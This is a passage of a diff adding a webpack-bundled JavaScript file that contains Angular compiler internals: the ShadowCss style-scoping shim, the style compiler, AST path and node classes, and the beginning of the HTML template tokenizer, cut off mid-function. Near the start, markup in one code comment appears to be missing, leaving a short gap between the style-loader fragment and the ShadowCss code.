= null; +var singletonCounter = 0; +var stylesInsertedAtTop = []; + +var fixUrls = __webpack_require__(/*! ./urls */ "./node_modules/style-loader/lib/urls.js"); + +module.exports = function(list, options) { + if (typeof DEBUG !== "undefined" && DEBUG) { + if (typeof document !== "object") throw new Error("The style-loader cannot be used in a non-browser environment"); + } + + options = options || {}; + + options.attrs = typeof options.attrs === "object" ? options.attrs : {}; + + // Force single-tag solution on IE6-9, which has a hard limit on the # of + + + could become: + + +
+ +
+ + Note the use of @polyfill in the comment above a ShadowDOM specific style + declaration. This is a directive to the styling shim to use the selector + in comments in lieu of the next selector when running under polyfill. +*/ +var ShadowCss = /** @class */ (function () { + function ShadowCss() { + this.strictStyling = true; + } + /* + * Shim some cssText with the given selector. Returns cssText that can + * be included in the document via WebComponents.ShadowCSS.addCssToDocument(css). + * + * When strictStyling is true: + * - selector is the attribute added to all elements inside the host, + * - hostSelector is the attribute added to the host itself. + */ + ShadowCss.prototype.shimCssText = function (cssText, selector, hostSelector) { + if (hostSelector === void 0) { hostSelector = ''; } + var commentsWithHash = extractCommentsWithHash(cssText); + cssText = stripComments(cssText); + cssText = this._insertDirectives(cssText); + var scopedCssText = this._scopeCssText(cssText, selector, hostSelector); + return Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])([scopedCssText], commentsWithHash).join('\n'); + }; + ShadowCss.prototype._insertDirectives = function (cssText) { + cssText = this._insertPolyfillDirectivesInCssText(cssText); + return this._insertPolyfillRulesInCssText(cssText); + }; + /* + * Process styles to convert native ShadowDOM rules that will trip + * up the css parser; we rely on decorating the stylesheet with inert rules. + * + * For example, we convert this rule: + * + * polyfill-next-selector { content: ':host menu-item'; } + * ::content menu-item { + * + * to this: + * + * scopeName menu-item { + * + **/ + ShadowCss.prototype._insertPolyfillDirectivesInCssText = function (cssText) { + // Difference with webcomponents.js: does not handle comments + return cssText.replace(_cssContentNextSelectorRe, function () { + var m = []; + for (var _i = 0; _i < arguments.length; _i++) { + m[_i] = arguments[_i]; + } + return m[2] + '{'; + }); + }; + /* + * Process styles to add rules which will only apply under the polyfill + * + * For example, we convert this rule: + * + * polyfill-rule { + * content: ':host menu-item'; + * ... + * } + * + * to this: + * + * scopeName menu-item {...} + * + **/ + ShadowCss.prototype._insertPolyfillRulesInCssText = function (cssText) { + // Difference with webcomponents.js: does not handle comments + return cssText.replace(_cssContentRuleRe, function () { + var m = []; + for (var _i = 0; _i < arguments.length; _i++) { + m[_i] = arguments[_i]; + } + var rule = m[0].replace(m[1], '').replace(m[2], ''); + return m[4] + rule; + }); + }; + /* Ensure styles are scoped. Pseudo-scoping takes a rule like: + * + * .foo {... } + * + * and converts this to + * + * scopeName .foo { ... } + */ + ShadowCss.prototype._scopeCssText = function (cssText, scopeSelector, hostSelector) { + var unscopedRules = this._extractUnscopedRulesFromCssText(cssText); + // replace :host and :host-context -shadowcsshost and -shadowcsshost respectively + cssText = this._insertPolyfillHostInCssText(cssText); + cssText = this._convertColonHost(cssText); + cssText = this._convertColonHostContext(cssText); + cssText = this._convertShadowDOMSelectors(cssText); + if (scopeSelector) { + cssText = this._scopeSelectors(cssText, scopeSelector, hostSelector); + } + cssText = cssText + '\n' + unscopedRules; + return cssText.trim(); + }; + /* + * Process styles to add rules which will only apply under the polyfill + * and do not process via CSSOM. (CSSOM is destructive to rules on rare + * occasions, e.g. -webkit-calc on Safari.) + * For example, we convert this rule: + * + * @polyfill-unscoped-rule { + * content: 'menu-item'; + * ... } + * + * to this: + * + * menu-item {...} + * + **/ + ShadowCss.prototype._extractUnscopedRulesFromCssText = function (cssText) { + // Difference with webcomponents.js: does not handle comments + var r = ''; + var m; + _cssContentUnscopedRuleRe.lastIndex = 0; + while ((m = _cssContentUnscopedRuleRe.exec(cssText)) !== null) { + var rule = m[0].replace(m[2], '').replace(m[1], m[4]); + r += rule + '\n\n'; + } + return r; + }; + /* + * convert a rule like :host(.foo) > .bar { } + * + * to + * + * .foo > .bar + */ + ShadowCss.prototype._convertColonHost = function (cssText) { + return this._convertColonRule(cssText, _cssColonHostRe, this._colonHostPartReplacer); + }; + /* + * convert a rule like :host-context(.foo) > .bar { } + * + * to + * + * .foo > .bar, .foo scopeName > .bar { } + * + * and + * + * :host-context(.foo:host) .bar { ... } + * + * to + * + * .foo .bar { ... } + */ + ShadowCss.prototype._convertColonHostContext = function (cssText) { + return this._convertColonRule(cssText, _cssColonHostContextRe, this._colonHostContextPartReplacer); + }; + ShadowCss.prototype._convertColonRule = function (cssText, regExp, partReplacer) { + // m[1] = :host(-context), m[2] = contents of (), m[3] rest of rule + return cssText.replace(regExp, function () { + var m = []; + for (var _i = 0; _i < arguments.length; _i++) { + m[_i] = arguments[_i]; + } + if (m[2]) { + var parts = m[2].split(','); + var r = []; + for (var i = 0; i < parts.length; i++) { + var p = parts[i].trim(); + if (!p) + break; + r.push(partReplacer(_polyfillHostNoCombinator, p, m[3])); + } + return r.join(','); + } + else { + return _polyfillHostNoCombinator + m[3]; + } + }); + }; + ShadowCss.prototype._colonHostContextPartReplacer = function (host, part, suffix) { + if (part.indexOf(_polyfillHost) > -1) { + return this._colonHostPartReplacer(host, part, suffix); + } + else { + return host + part + suffix + ', ' + part + ' ' + host + suffix; + } + }; + ShadowCss.prototype._colonHostPartReplacer = function (host, part, suffix) { + return host + part.replace(_polyfillHost, '') + suffix; + }; + /* + * Convert combinators like ::shadow and pseudo-elements like ::content + * by replacing with space. + */ + ShadowCss.prototype._convertShadowDOMSelectors = function (cssText) { + return _shadowDOMSelectorsRe.reduce(function (result, pattern) { return result.replace(pattern, ' '); }, cssText); + }; + // change a selector like 'div' to 'name div' + ShadowCss.prototype._scopeSelectors = function (cssText, scopeSelector, hostSelector) { + var _this = this; + return processRules(cssText, function (rule) { + var selector = rule.selector; + var content = rule.content; + if (rule.selector[0] != '@') { + selector = + _this._scopeSelector(rule.selector, scopeSelector, hostSelector, _this.strictStyling); + } + else if (rule.selector.startsWith('@media') || rule.selector.startsWith('@supports') || + rule.selector.startsWith('@page') || rule.selector.startsWith('@document')) { + content = _this._scopeSelectors(rule.content, scopeSelector, hostSelector); + } + return new CssRule(selector, content); + }); + }; + ShadowCss.prototype._scopeSelector = function (selector, scopeSelector, hostSelector, strict) { + var _this = this; + return selector.split(',') + .map(function (part) { return part.trim().split(_shadowDeepSelectors); }) + .map(function (deepParts) { + var _a = Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__read"])(deepParts), shallowPart = _a[0], otherParts = _a.slice(1); + var applyScope = function (shallowPart) { + if (_this._selectorNeedsScoping(shallowPart, scopeSelector)) { + return strict ? + _this._applyStrictSelectorScope(shallowPart, scopeSelector, hostSelector) : + _this._applySelectorScope(shallowPart, scopeSelector, hostSelector); + } + else { + return shallowPart; + } + }; + return Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__spread"])([applyScope(shallowPart)], otherParts).join(' '); + }) + .join(', '); + }; + ShadowCss.prototype._selectorNeedsScoping = function (selector, scopeSelector) { + var re = this._makeScopeMatcher(scopeSelector); + return !re.test(selector); + }; + ShadowCss.prototype._makeScopeMatcher = function (scopeSelector) { + var lre = /\[/g; + var rre = /\]/g; + scopeSelector = scopeSelector.replace(lre, '\\[').replace(rre, '\\]'); + return new RegExp('^(' + scopeSelector + ')' + _selectorReSuffix, 'm'); + }; + ShadowCss.prototype._applySelectorScope = function (selector, scopeSelector, hostSelector) { + // Difference from webcomponents.js: scopeSelector could not be an array + return this._applySimpleSelectorScope(selector, scopeSelector, hostSelector); + }; + // scope via name and [is=name] + ShadowCss.prototype._applySimpleSelectorScope = function (selector, scopeSelector, hostSelector) { + // In Android browser, the lastIndex is not reset when the regex is used in String.replace() + _polyfillHostRe.lastIndex = 0; + if (_polyfillHostRe.test(selector)) { + var replaceBy_1 = this.strictStyling ? "[" + hostSelector + "]" : scopeSelector; + return selector + .replace(_polyfillHostNoCombinatorRe, function (hnc, selector) { + return selector.replace(/([^:]*)(:*)(.*)/, function (_, before, colon, after) { + return before + replaceBy_1 + colon + after; + }); + }) + .replace(_polyfillHostRe, replaceBy_1 + ' '); + } + return scopeSelector + ' ' + selector; + }; + // return a selector with [name] suffix on each simple selector + // e.g. .foo.bar > .zot becomes .foo[name].bar[name] > .zot[name] /** @internal */ + ShadowCss.prototype._applyStrictSelectorScope = function (selector, scopeSelector, hostSelector) { + var _this = this; + var isRe = /\[is=([^\]]*)\]/g; + scopeSelector = scopeSelector.replace(isRe, function (_) { + var parts = []; + for (var _i = 1; _i < arguments.length; _i++) { + parts[_i - 1] = arguments[_i]; + } + return parts[0]; + }); + var attrName = '[' + scopeSelector + ']'; + var _scopeSelectorPart = function (p) { + var scopedP = p.trim(); + if (!scopedP) { + return ''; + } + if (p.indexOf(_polyfillHostNoCombinator) > -1) { + scopedP = _this._applySimpleSelectorScope(p, scopeSelector, hostSelector); + } + else { + // remove :host since it should be unnecessary + var t = p.replace(_polyfillHostRe, ''); + if (t.length > 0) { + var matches = t.match(/([^:]*)(:*)(.*)/); + if (matches) { + scopedP = matches[1] + attrName + matches[2] + matches[3]; + } + } + } + return scopedP; + }; + var safeContent = new SafeSelector(selector); + selector = safeContent.content(); + var scopedSelector = ''; + var startIndex = 0; + var res; + var sep = /( |>|\+|~(?!=))\s*/g; + // If a selector appears before :host it should not be shimmed as it + // matches on ancestor elements and not on elements in the host's shadow + // `:host-context(div)` is transformed to + // `-shadowcsshost-no-combinatordiv, div -shadowcsshost-no-combinator` + // the `div` is not part of the component in the 2nd selectors and should not be scoped. + // Historically `component-tag:host` was matching the component so we also want to preserve + // this behavior to avoid breaking legacy apps (it should not match). + // The behavior should be: + // - `tag:host` -> `tag[h]` (this is to avoid breaking legacy apps, should not match anything) + // - `tag :host` -> `tag [h]` (`tag` is not scoped because it's considered part of a + // `:host-context(tag)`) + var hasHost = selector.indexOf(_polyfillHostNoCombinator) > -1; + // Only scope parts after the first `-shadowcsshost-no-combinator` when it is present + var shouldScope = !hasHost; + while ((res = sep.exec(selector)) !== null) { + var separator = res[1]; + var part_1 = selector.slice(startIndex, res.index).trim(); + shouldScope = shouldScope || part_1.indexOf(_polyfillHostNoCombinator) > -1; + var scopedPart = shouldScope ? _scopeSelectorPart(part_1) : part_1; + scopedSelector += scopedPart + " " + separator + " "; + startIndex = sep.lastIndex; + } + var part = selector.substring(startIndex); + shouldScope = shouldScope || part.indexOf(_polyfillHostNoCombinator) > -1; + scopedSelector += shouldScope ? _scopeSelectorPart(part) : part; + // replace the placeholders with their original values + return safeContent.restore(scopedSelector); + }; + ShadowCss.prototype._insertPolyfillHostInCssText = function (selector) { + return selector.replace(_colonHostContextRe, _polyfillHostContext) + .replace(_colonHostRe, _polyfillHost); + }; + return ShadowCss; +}()); +var SafeSelector = /** @class */ (function () { + function SafeSelector(selector) { + var _this = this; + this.placeholders = []; + this.index = 0; + // Replaces attribute selectors with placeholders. + // The WS in [attr="va lue"] would otherwise be interpreted as a selector separator. + selector = selector.replace(/(\[[^\]]*\])/g, function (_, keep) { + var replaceBy = "__ph-" + _this.index + "__"; + _this.placeholders.push(keep); + _this.index++; + return replaceBy; + }); + // Replaces the expression in `:nth-child(2n + 1)` with a placeholder. + // WS and "+" would otherwise be interpreted as selector separators. + this._content = selector.replace(/(:nth-[-\w]+)(\([^)]+\))/g, function (_, pseudo, exp) { + var replaceBy = "__ph-" + _this.index + "__"; + _this.placeholders.push(exp); + _this.index++; + return pseudo + replaceBy; + }); + } + SafeSelector.prototype.restore = function (content) { + var _this = this; + return content.replace(/__ph-(\d+)__/g, function (ph, index) { return _this.placeholders[+index]; }); + }; + SafeSelector.prototype.content = function () { return this._content; }; + return SafeSelector; +}()); +var _cssContentNextSelectorRe = /polyfill-next-selector[^}]*content:[\s]*?(['"])(.*?)\1[;\s]*}([^{]*?){/gim; +var _cssContentRuleRe = /(polyfill-rule)[^}]*(content:[\s]*(['"])(.*?)\3)[;\s]*[^}]*}/gim; +var _cssContentUnscopedRuleRe = /(polyfill-unscoped-rule)[^}]*(content:[\s]*(['"])(.*?)\3)[;\s]*[^}]*}/gim; +var _polyfillHost = '-shadowcsshost'; +// note: :host-context pre-processed to -shadowcsshostcontext. +var _polyfillHostContext = '-shadowcsscontext'; +var _parenSuffix = ')(?:\\((' + + '(?:\\([^)(]*\\)|[^)(]*)+?' + + ')\\))?([^,{]*)'; +var _cssColonHostRe = new RegExp('(' + _polyfillHost + _parenSuffix, 'gim'); +var _cssColonHostContextRe = new RegExp('(' + _polyfillHostContext + _parenSuffix, 'gim'); +var _polyfillHostNoCombinator = _polyfillHost + '-no-combinator'; +var _polyfillHostNoCombinatorRe = /-shadowcsshost-no-combinator([^\s]*)/; +var _shadowDOMSelectorsRe = [ + /::shadow/g, + /::content/g, + // Deprecated selectors + /\/shadow-deep\//g, + /\/shadow\//g, +]; +// The deep combinator is deprecated in the CSS spec +// Support for `>>>`, `deep`, `::ng-deep` is then also deprecated and will be removed in the future. +// see https://github.com/angular/angular/pull/17677 +var _shadowDeepSelectors = /(?:>>>)|(?:\/deep\/)|(?:::ng-deep)/g; +var _selectorReSuffix = '([>\\s~+\[.,{:][\\s\\S]*)?$'; +var _polyfillHostRe = /-shadowcsshost/gim; +var _colonHostRe = /:host/gim; +var _colonHostContextRe = /:host-context/gim; +var _commentRe = /\/\*\s*[\s\S]*?\*\//g; +function stripComments(input) { + return input.replace(_commentRe, ''); +} +var _commentWithHashRe = /\/\*\s*#\s*source(Mapping)?URL=[\s\S]+?\*\//g; +function extractCommentsWithHash(input) { + return input.match(_commentWithHashRe) || []; +} +var _ruleRe = /(\s*)([^;\{\}]+?)(\s*)((?:{%BLOCK%}?\s*;?)|(?:\s*;))/g; +var _curlyRe = /([{}])/g; +var OPEN_CURLY = '{'; +var CLOSE_CURLY = '}'; +var BLOCK_PLACEHOLDER = '%BLOCK%'; +var CssRule = /** @class */ (function () { + function CssRule(selector, content) { + this.selector = selector; + this.content = content; + } + return CssRule; +}()); +function processRules(input, ruleCallback) { + var inputWithEscapedBlocks = escapeBlocks(input); + var nextBlockIndex = 0; + return inputWithEscapedBlocks.escapedString.replace(_ruleRe, function () { + var m = []; + for (var _i = 0; _i < arguments.length; _i++) { + m[_i] = arguments[_i]; + } + var selector = m[2]; + var content = ''; + var suffix = m[4]; + var contentPrefix = ''; + if (suffix && suffix.startsWith('{' + BLOCK_PLACEHOLDER)) { + content = inputWithEscapedBlocks.blocks[nextBlockIndex++]; + suffix = suffix.substring(BLOCK_PLACEHOLDER.length + 1); + contentPrefix = '{'; + } + var rule = ruleCallback(new CssRule(selector, content)); + return "" + m[1] + rule.selector + m[3] + contentPrefix + rule.content + suffix; + }); +} +var StringWithEscapedBlocks = /** @class */ (function () { + function StringWithEscapedBlocks(escapedString, blocks) { + this.escapedString = escapedString; + this.blocks = blocks; + } + return StringWithEscapedBlocks; +}()); +function escapeBlocks(input) { + var inputParts = input.split(_curlyRe); + var resultParts = []; + var escapedBlocks = []; + var bracketCount = 0; + var currentBlockParts = []; + for (var partIndex = 0; partIndex < inputParts.length; partIndex++) { + var part = inputParts[partIndex]; + if (part == CLOSE_CURLY) { + bracketCount--; + } + if (bracketCount > 0) { + currentBlockParts.push(part); + } + else { + if (currentBlockParts.length > 0) { + escapedBlocks.push(currentBlockParts.join('')); + resultParts.push(BLOCK_PLACEHOLDER); + currentBlockParts = []; + } + resultParts.push(part); + } + if (part == OPEN_CURLY) { + bracketCount++; + } + } + if (currentBlockParts.length > 0) { + escapedBlocks.push(currentBlockParts.join('')); + resultParts.push(BLOCK_PLACEHOLDER); + } + return new StringWithEscapedBlocks(resultParts.join(''), escapedBlocks); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var COMPONENT_VARIABLE = '%COMP%'; +var HOST_ATTR = "_nghost-" + COMPONENT_VARIABLE; +var CONTENT_ATTR = "_ngcontent-" + COMPONENT_VARIABLE; +var StylesCompileDependency = /** @class */ (function () { + function StylesCompileDependency(name, moduleUrl, setValue) { + this.name = name; + this.moduleUrl = moduleUrl; + this.setValue = setValue; + } + return StylesCompileDependency; +}()); +var CompiledStylesheet = /** @class */ (function () { + function CompiledStylesheet(outputCtx, stylesVar, dependencies, isShimmed, meta) { + this.outputCtx = outputCtx; + this.stylesVar = stylesVar; + this.dependencies = dependencies; + this.isShimmed = isShimmed; + this.meta = meta; + } + return CompiledStylesheet; +}()); +var StyleCompiler = /** @class */ (function () { + function StyleCompiler(_urlResolver) { + this._urlResolver = _urlResolver; + this._shadowCss = new ShadowCss(); + } + StyleCompiler.prototype.compileComponent = function (outputCtx, comp) { + var template = comp.template; + return this._compileStyles(outputCtx, comp, new CompileStylesheetMetadata({ + styles: template.styles, + styleUrls: template.styleUrls, + moduleUrl: identifierModuleUrl(comp.type) + }), this.needsStyleShim(comp), true); + }; + StyleCompiler.prototype.compileStyles = function (outputCtx, comp, stylesheet, shim) { + if (shim === void 0) { shim = this.needsStyleShim(comp); } + return this._compileStyles(outputCtx, comp, stylesheet, shim, false); + }; + StyleCompiler.prototype.needsStyleShim = function (comp) { + return comp.template.encapsulation === ViewEncapsulation.Emulated; + }; + StyleCompiler.prototype._compileStyles = function (outputCtx, comp, stylesheet, shim, isComponentStylesheet) { + var _this = this; + var styleExpressions = stylesheet.styles.map(function (plainStyle) { return literal(_this._shimIfNeeded(plainStyle, shim)); }); + var dependencies = []; + stylesheet.styleUrls.forEach(function (styleUrl) { + var exprIndex = styleExpressions.length; + // Note: This placeholder will be filled later. + styleExpressions.push(null); + dependencies.push(new StylesCompileDependency(getStylesVarName(null), styleUrl, function (value) { return styleExpressions[exprIndex] = outputCtx.importExpr(value); })); + }); + // styles variable contains plain strings and arrays of other styles arrays (recursive), + // so we set its type to dynamic. + var stylesVar = getStylesVarName(isComponentStylesheet ? comp : null); + var stmt = variable(stylesVar) + .set(literalArr(styleExpressions, new ArrayType(DYNAMIC_TYPE, [TypeModifier.Const]))) + .toDeclStmt(null, isComponentStylesheet ? [StmtModifier.Final] : [ + StmtModifier.Final, StmtModifier.Exported + ]); + outputCtx.statements.push(stmt); + return new CompiledStylesheet(outputCtx, stylesVar, dependencies, shim, stylesheet); + }; + StyleCompiler.prototype._shimIfNeeded = function (style, shim) { + return shim ? this._shadowCss.shimCssText(style, CONTENT_ATTR, HOST_ATTR) : style; + }; + return StyleCompiler; +}()); +function getStylesVarName(component) { + var result = "styles"; + if (component) { + result += "_" + identifierName(component.type); + } + return result; +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * A path is an ordered set of elements. Typically a path is to a + * particular offset in a source file. The head of the list is the top + * most node. The tail is the node that contains the offset directly. + * + * For example, the expression `a + b + c` might have an ast that looks + * like: + * + + * / \ + * a + + * / \ + * b c + * + * The path to the node at offset 9 would be `['+' at 1-10, '+' at 7-10, + * 'c' at 9-10]` and the path the node at offset 1 would be + * `['+' at 1-10, 'a' at 1-2]`. + */ +var AstPath = /** @class */ (function () { + function AstPath(path, position) { + if (position === void 0) { position = -1; } + this.path = path; + this.position = position; + } + Object.defineProperty(AstPath.prototype, "empty", { + get: function () { return !this.path || !this.path.length; }, + enumerable: true, + configurable: true + }); + Object.defineProperty(AstPath.prototype, "head", { + get: function () { return this.path[0]; }, + enumerable: true, + configurable: true + }); + Object.defineProperty(AstPath.prototype, "tail", { + get: function () { return this.path[this.path.length - 1]; }, + enumerable: true, + configurable: true + }); + AstPath.prototype.parentOf = function (node) { + return node && this.path[this.path.indexOf(node) - 1]; + }; + AstPath.prototype.childOf = function (node) { return this.path[this.path.indexOf(node) + 1]; }; + AstPath.prototype.first = function (ctor) { + for (var i = this.path.length - 1; i >= 0; i--) { + var item = this.path[i]; + if (item instanceof ctor) + return item; + } + }; + AstPath.prototype.push = function (node) { this.path.push(node); }; + AstPath.prototype.pop = function () { return this.path.pop(); }; + return AstPath; +}()); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var Text$3 = /** @class */ (function () { + function Text(value, sourceSpan, i18n) { + this.value = value; + this.sourceSpan = sourceSpan; + this.i18n = i18n; + } + Text.prototype.visit = function (visitor, context) { return visitor.visitText(this, context); }; + return Text; +}()); +var Expansion = /** @class */ (function () { + function Expansion(switchValue, type, cases, sourceSpan, switchValueSourceSpan, i18n) { + this.switchValue = switchValue; + this.type = type; + this.cases = cases; + this.sourceSpan = sourceSpan; + this.switchValueSourceSpan = switchValueSourceSpan; + this.i18n = i18n; + } + Expansion.prototype.visit = function (visitor, context) { return visitor.visitExpansion(this, context); }; + return Expansion; +}()); +var ExpansionCase = /** @class */ (function () { + function ExpansionCase(value, expression, sourceSpan, valueSourceSpan, expSourceSpan) { + this.value = value; + this.expression = expression; + this.sourceSpan = sourceSpan; + this.valueSourceSpan = valueSourceSpan; + this.expSourceSpan = expSourceSpan; + } + ExpansionCase.prototype.visit = function (visitor, context) { return visitor.visitExpansionCase(this, context); }; + return ExpansionCase; +}()); +var Attribute = /** @class */ (function () { + function Attribute(name, value, sourceSpan, valueSpan, i18n) { + this.name = name; + this.value = value; + this.sourceSpan = sourceSpan; + this.valueSpan = valueSpan; + this.i18n = i18n; + } + Attribute.prototype.visit = function (visitor, context) { return visitor.visitAttribute(this, context); }; + return Attribute; +}()); +var Element$1 = /** @class */ (function () { + function Element(name, attrs, children, sourceSpan, startSourceSpan, endSourceSpan, i18n) { + if (startSourceSpan === void 0) { startSourceSpan = null; } + if (endSourceSpan === void 0) { endSourceSpan = null; } + this.name = name; + this.attrs = attrs; + this.children = children; + this.sourceSpan = sourceSpan; + this.startSourceSpan = startSourceSpan; + this.endSourceSpan = endSourceSpan; + this.i18n = i18n; + } + Element.prototype.visit = function (visitor, context) { return visitor.visitElement(this, context); }; + return Element; +}()); +var Comment = /** @class */ (function () { + function Comment(value, sourceSpan) { + this.value = value; + this.sourceSpan = sourceSpan; + } + Comment.prototype.visit = function (visitor, context) { return visitor.visitComment(this, context); }; + return Comment; +}()); +function visitAll$1(visitor, nodes, context) { + if (context === void 0) { context = null; } + var result = []; + var visit = visitor.visit ? + function (ast) { return visitor.visit(ast, context) || ast.visit(visitor, context); } : + function (ast) { return ast.visit(visitor, context); }; + nodes.forEach(function (ast) { + var astResult = visit(ast); + if (astResult) { + result.push(astResult); + } + }); + return result; +} +var RecursiveVisitor$1 = /** @class */ (function () { + function RecursiveVisitor() { + } + RecursiveVisitor.prototype.visitElement = function (ast, context) { + this.visitChildren(context, function (visit) { + visit(ast.attrs); + visit(ast.children); + }); + }; + RecursiveVisitor.prototype.visitAttribute = function (ast, context) { }; + RecursiveVisitor.prototype.visitText = function (ast, context) { }; + RecursiveVisitor.prototype.visitComment = function (ast, context) { }; + RecursiveVisitor.prototype.visitExpansion = function (ast, context) { + return this.visitChildren(context, function (visit) { visit(ast.cases); }); + }; + RecursiveVisitor.prototype.visitExpansionCase = function (ast, context) { }; + RecursiveVisitor.prototype.visitChildren = function (context, cb) { + var results = []; + var t = this; + function visit(children) { + if (children) + results.push(visitAll$1(t, children, context)); + } + cb(visit); + return Array.prototype.concat.apply([], results); + }; + return RecursiveVisitor; +}()); +function spanOf(ast) { + var start = ast.sourceSpan.start.offset; + var end = ast.sourceSpan.end.offset; + if (ast instanceof Element$1) { + if (ast.endSourceSpan) { + end = ast.endSourceSpan.end.offset; + } + else if (ast.children && ast.children.length) { + end = spanOf(ast.children[ast.children.length - 1]).end; + } + } + return { start: start, end: end }; +} +function findNode(nodes, position) { + var path = []; + var visitor = new /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(class_1, _super); + function class_1() { + return _super !== null && _super.apply(this, arguments) || this; + } + class_1.prototype.visit = function (ast, context) { + var span = spanOf(ast); + if (span.start <= position && position < span.end) { + path.push(ast); + } + else { + // Returning a value here will result in the children being skipped. + return true; + } + }; + return class_1; + }(RecursiveVisitor$1)); + visitAll$1(visitor, nodes); + return new AstPath(path, position); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var TokenType; +(function (TokenType) { + TokenType[TokenType["TAG_OPEN_START"] = 0] = "TAG_OPEN_START"; + TokenType[TokenType["TAG_OPEN_END"] = 1] = "TAG_OPEN_END"; + TokenType[TokenType["TAG_OPEN_END_VOID"] = 2] = "TAG_OPEN_END_VOID"; + TokenType[TokenType["TAG_CLOSE"] = 3] = "TAG_CLOSE"; + TokenType[TokenType["TEXT"] = 4] = "TEXT"; + TokenType[TokenType["ESCAPABLE_RAW_TEXT"] = 5] = "ESCAPABLE_RAW_TEXT"; + TokenType[TokenType["RAW_TEXT"] = 6] = "RAW_TEXT"; + TokenType[TokenType["COMMENT_START"] = 7] = "COMMENT_START"; + TokenType[TokenType["COMMENT_END"] = 8] = "COMMENT_END"; + TokenType[TokenType["CDATA_START"] = 9] = "CDATA_START"; + TokenType[TokenType["CDATA_END"] = 10] = "CDATA_END"; + TokenType[TokenType["ATTR_NAME"] = 11] = "ATTR_NAME"; + TokenType[TokenType["ATTR_QUOTE"] = 12] = "ATTR_QUOTE"; + TokenType[TokenType["ATTR_VALUE"] = 13] = "ATTR_VALUE"; + TokenType[TokenType["DOC_TYPE"] = 14] = "DOC_TYPE"; + TokenType[TokenType["EXPANSION_FORM_START"] = 15] = "EXPANSION_FORM_START"; + TokenType[TokenType["EXPANSION_CASE_VALUE"] = 16] = "EXPANSION_CASE_VALUE"; + TokenType[TokenType["EXPANSION_CASE_EXP_START"] = 17] = "EXPANSION_CASE_EXP_START"; + TokenType[TokenType["EXPANSION_CASE_EXP_END"] = 18] = "EXPANSION_CASE_EXP_END"; + TokenType[TokenType["EXPANSION_FORM_END"] = 19] = "EXPANSION_FORM_END"; + TokenType[TokenType["EOF"] = 20] = "EOF"; +})(TokenType || (TokenType = {})); +var Token = /** @class */ (function () { + function Token(type, parts, sourceSpan) { + this.type = type; + this.parts = parts; + this.sourceSpan = sourceSpan; + } + return Token; +}()); +var TokenError = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(TokenError, _super); + function TokenError(errorMsg, tokenType, span) { + var _this = _super.call(this, span, errorMsg) || this; + _this.tokenType = tokenType; + return _this; + } + return TokenError; +}(ParseError)); +var TokenizeResult = /** @class */ (function () { + function TokenizeResult(tokens, errors) { + this.tokens = tokens; + this.errors = errors; + } + return TokenizeResult; +}()); +function tokenize(source, url, getTagDefinition, options) { + if (options === void 0) { options = {}; } + return new _Tokenizer(new ParseSourceFile(source, url), getTagDefinition, options).tokenize(); +} +var _CR_OR_CRLF_REGEXP = /\r\n?/g; +function _unexpectedCharacterErrorMsg(charCode) { + var char = charCode === $EOF ? 'EOF' : String.fromCharCode(charCode); + return "Unexpected character \"" + char + "\""; +} +function _unknownEntityErrorMsg(entitySrc) { + return "Unknown entity \"" + entitySrc + "\" - use the \"&#;\" or \"&#x;\" syntax"; +} +var _ControlFlowError = /** @class */ (function () { + function _ControlFlowError(error) { + this.error = error; + } + return _ControlFlowError; +}()); +// See http://www.w3.org/TR/html51/syntax.html#writing +var _Tokenizer = /** @class */ (function () { + /** + * @param _file The html source file being tokenized. + * @param _getTagDefinition A function that will retrieve a tag definition for a given tag name. + * @param options Configuration of the tokenization. + */ + function _Tokenizer(_file, _getTagDefinition, options) { + this._getTagDefinition = _getTagDefinition; + this._currentTokenStart = null; + this._currentTokenType = null; + this._expansionCaseStack = []; + this._inInterpolation = false; + this.tokens = []; + this.errors = []; + this._tokenizeIcu = options.tokenizeExpansionForms || false; + this._interpolationConfig = options.interpolationConfig || DEFAULT_INTERPOLATION_CONFIG; + this._leadingTriviaCodePoints = + options.leadingTriviaChars && options.leadingTriviaChars.map(function (c) { return c.codePointAt(0) || 0; }); + var range = options.range || { endPos: _file.content.length, startPos: 0, startLine: 0, startCol: 0 }; + this._cursor = options.escapedString ? new EscapedCharacterCursor(_file, range) : + new PlainCharacterCursor(_file, range); + try { + this._cursor.init(); + } + catch (e) { + this.handleError(e); + } + } + _Tokenizer.prototype._processCarriageReturns = function (content) { + // http://www.w3.org/TR/html5/syntax.html#preprocessing-the-input-stream + // In order to keep the original position in the source, we can not + // pre-process it. + // Instead CRs are processed right before instantiating the tokens. + return content.replace(_CR_OR_CRLF_REGEXP, '\n'); + }; + _Tokenizer.prototype.tokenize = function () { + while (this._cursor.peek() !== $EOF) { + var start = this._cursor.clone(); + try { + if (this._attemptCharCode($LT)) { + if (this._attemptCharCode($BANG)) { + if (this._attemptCharCode($LBRACKET)) { + this._consumeCdata(start); + } + else if (this._attemptCharCode($MINUS)) { + this._consumeComment(start); + } + else { + this._consumeDocType(start); + } + } + else if (this._attemptCharCode($SLASH)) { + this._consumeTagClose(start); + } + else { + this._consumeTagOpen(start); + } + } + else if (!(this._tokenizeIcu && this._tokenizeExpansionForm())) { + this._consumeText(); + } + } + catch (e) { + this.handleError(e); + } + } + this._beginToken(TokenType.EOF); + this._endToken([]); + return new TokenizeResult(mergeTextTokens(this.tokens), this.errors); + }; + /** + * @returns whether an ICU token has been created + * @internal + */ + _Tokenizer.prototype._tokenizeExpansionForm = function () { + if (this.isExpansionFormStart()) { + this._consumeExpansionFormStart(); + return true; + } + if (isExpansionCaseStart(this._cursor.peek()) && this._isInExpansionForm()) { + this._consumeExpansionCaseStart(); + return true; + } + if (this._cursor.peek() === $RBRACE) { + if (this._isInExpansionCase()) { + this._consumeExpansionCaseEnd(); + 